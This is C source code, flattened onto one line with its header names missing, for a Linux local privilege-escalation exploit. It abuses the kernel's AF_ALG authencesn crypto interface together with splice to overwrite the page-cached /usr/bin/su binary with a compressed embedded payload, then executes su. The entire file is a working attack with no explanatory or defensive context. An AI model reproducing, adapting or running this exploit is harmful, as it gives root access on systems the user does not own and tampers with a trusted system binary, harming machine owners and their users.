#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include unsigned char* hex_to_bytes(const char* hex_str, size_t* out_len) { size_t len = strlen(hex_str); *out_len = len / 2; unsigned char* bytes = malloc(*out_len); if (!bytes) return NULL; for (size_t i = 0; i < *out_len; i++) { sscanf(hex_str + i * 2, "%02hhx", &bytes[i]); } return bytes; } void exploit_core(int target_fd, off_t offset, const unsigned char* chunk) { int sock, opfd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "authencesn(hmac(sha256),cbc(aes))" }; sock = socket(AF_ALG, SOCK_SEQPACKET, 0); if (sock < 0) { return; } if (bind(sock, (struct sockaddr*)&sa, sizeof(sa)) < 0) { close(sock); return; } size_t key_len; unsigned char* key = hex_to_bytes( "08000100000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", &key_len); setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, key_len); free(key); int authsize = 4; setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, &authsize, sizeof(authsize)); opfd = accept(sock, NULL, 0); if (opfd < 0) { close(sock); return; } unsigned char aad[8] = {'A','A','A','A', 0,0,0,0}; memcpy(aad + 4, chunk, 4); struct iovec iov = { .iov_base = aad, .iov_len = 8 }; char control[CMSG_SPACE(20) + CMSG_SPACE(sizeof(int)) * 2]; struct msghdr msg = {0}; struct cmsghdr *cmsg; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = control; msg.msg_controllen = sizeof(control); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_IV; cmsg->cmsg_len = CMSG_LEN(20); unsigned char *ivp = CMSG_DATA(cmsg); ivp[0] = 0x10; memset(ivp + 1, 0, 19); cmsg = CMSG_NXTHDR(&msg, cmsg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_OP; cmsg->cmsg_len = CMSG_LEN(sizeof(int)); *((int*)CMSG_DATA(cmsg)) = 0; cmsg = CMSG_NXTHDR(&msg, cmsg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN; cmsg->cmsg_len = CMSG_LEN(sizeof(int)); *((int*)CMSG_DATA(cmsg)) = 8; sendmsg(opfd, &msg, MSG_MORE); int pipe_fds[2]; if (pipe(pipe_fds) == 0) { size_t splice_len = offset + 4; loff_t file_off = 0; splice(target_fd, &file_off, pipe_fds[1], NULL, splice_len, SPLICE_F_MOVE); splice(pipe_fds[0], NULL, opfd, NULL, splice_len, SPLICE_F_MOVE); size_t recv_len = offset + 8; char *dummy = malloc(recv_len); recv(opfd, dummy, recv_len, 0); free(dummy); close(pipe_fds[0]); close(pipe_fds[1]); } close(opfd); close(sock); } int main(void) { int fd = open("/usr/bin/su", O_RDONLY); if (fd < 0) { perror("open /usr/bin/su"); return 1; } const char* compressed_hex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"; size_t comp_len; unsigned char* compressed = hex_to_bytes(compressed_hex, &comp_len); unsigned long uncomp_len = 4096; unsigned char* payload = malloc(uncomp_len); if (uncompress(payload, &uncomp_len, compressed, comp_len) != Z_OK) { fprintf(stderr, "[-] Decompression failed\n"); free(compressed); free(payload); close(fd); return 1; } free(compressed); printf("[+] Decompressed %lu bytes\n", uncomp_len); for (off_t i = 0; i < (off_t)uncomp_len; i += 4) { exploit_core(fd, i, payload + i); } /* verify: read back what the page cache now holds */ unsigned char hdr[160]; lseek(fd, 0, SEEK_SET); ssize_t rd = read(fd, hdr, 160); printf("[+] Read back %zd bytes from su: ", rd); for (int i = 0; i < (rd < 160 ? rd : 160); i++) printf("%02x", hdr[i]); printf("\n[+] payload was: "); for (int i = 0; i < (int)uncomp_len; i++) printf("%02x", payload[i]); printf("\n"); free(payload); close(fd); printf("[+] Patching done. Running su...\n"); system("su"); return 0; }